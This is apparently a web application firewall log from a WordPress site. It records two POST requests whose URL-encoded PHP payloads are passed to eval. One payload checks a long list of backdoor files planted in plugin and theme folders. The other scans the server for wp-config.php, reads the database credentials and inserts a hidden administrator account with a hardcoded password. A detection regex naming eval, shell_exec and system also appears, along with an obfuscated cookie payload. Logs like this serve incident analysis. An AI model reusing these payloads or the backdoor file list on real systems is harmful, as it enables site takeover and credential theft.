ream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\ncontent-length:14223\nsec-ch-ua-platform:\"macOS\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\n\nphaqOW=eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img.php%22%3D%3E%22bd%40%40279403237%40%40899%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));"]
["2026-04-20 11:17:46","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bH:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:12640\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLxtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 